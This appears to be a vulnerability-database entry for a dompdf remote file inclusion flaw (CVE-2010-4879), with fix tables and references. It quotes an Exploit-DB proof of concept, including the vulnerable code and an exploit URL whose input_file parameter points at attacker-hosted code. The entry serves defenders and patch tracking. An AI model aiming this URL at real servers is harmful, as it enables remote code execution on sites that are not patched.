CVE-2010-4879
high
CVSS v3
โ
CVSS v4 NEW
โ
VIR risk
8.5
Description
PHP remote file inclusion vulnerability in dompdf.php in dompdf 0.6.0 beta1 allows remote attackers to execute arbitrary PHP code via a URL in the input_file parameter.
Predictions
Exploit likelihood
20%
Patch ETA
โ
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
dompdf 0.6.0 beta1 - Remote File Inclusion
==================================
apps dompdf RFI Vulnerability
==================================
====================================================
[x] ExpL0it TitLe : apps dompdf RFI Vulnerability
[x] DatE : 01 September 2010
[x] AutH0r : Andre_Corleone
[x] Software Link : www.digitaljunkies.ca/dompdf/
[x] h0mE : http://tecon-crew.org
[x] TestEd 0n : linux ubuntu 10.04
[x] d0rK : :P
====================================================
==========================================================================================
[x]bug heRe:
if ( isset($_GET["input_file"]) )
$file = rawurldecode($_GET["input_file"]);
else
throw new DOMPDF_Exception("An input file is required (i.e. input_file _GET variable).");
==========================================================================================
==================================================================
[x]expL0iT:
http://www.site.com/dompdf/dompdf.php?input_file=[evilc0de.txt?]
==================================================================
============================================================================================
[x]th4nKs t0:
ALLAH SWT,Muhammad SAW,my Parents,my lovely HerliZ Dian Permathasari
guitariznoize | zee_eichel | jImMYrOmAnTiCdEvIl | 45tr0_k1ll1n9 | all Tecon Crew | and you
============================================================================================
=====================
[x]Jakarta,Indonesia
=====================
OS impact
Debian Fixed 3 releases
| Version | Status | Fixed in |
|---|---|---|
| sid | Fixed | 0.6.1+dfsg-1 |
| bullseye | Fixed | 0.6.1+dfsg-1 |
| bookworm | Fixed | 0.6.1+dfsg-1 |
Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| Packagist | dompdf/dompdf | >=0.6,<0.6.1 | 0.6.1 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| digitaljunkies | dompdf | 0.6.0 | |
References
- http://www.exploit-db.com/exploits/14851
- https://nvd.nist.gov/vuln/detail/CVE-2010-4879
- https://github.com/dompdf/dompdf/commit/23a693993299e669306929e3d49a4a1f7b3fb028
- https://github.com/FriendsOfPHP/security-advisories/blob/master/dompdf/dompdf/CVE-2010-4879.yaml
- https://github.com/dompdf/dompdf
- https://github.com/dompdf/dompdf/releases/tag/v0.6.2
- https://github.com/dompdf/dompdf/wiki/Securing-dompdf
- https://security-tracker.debian.org/tracker/CVE-2010-4879
CWEs
CWE-94
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.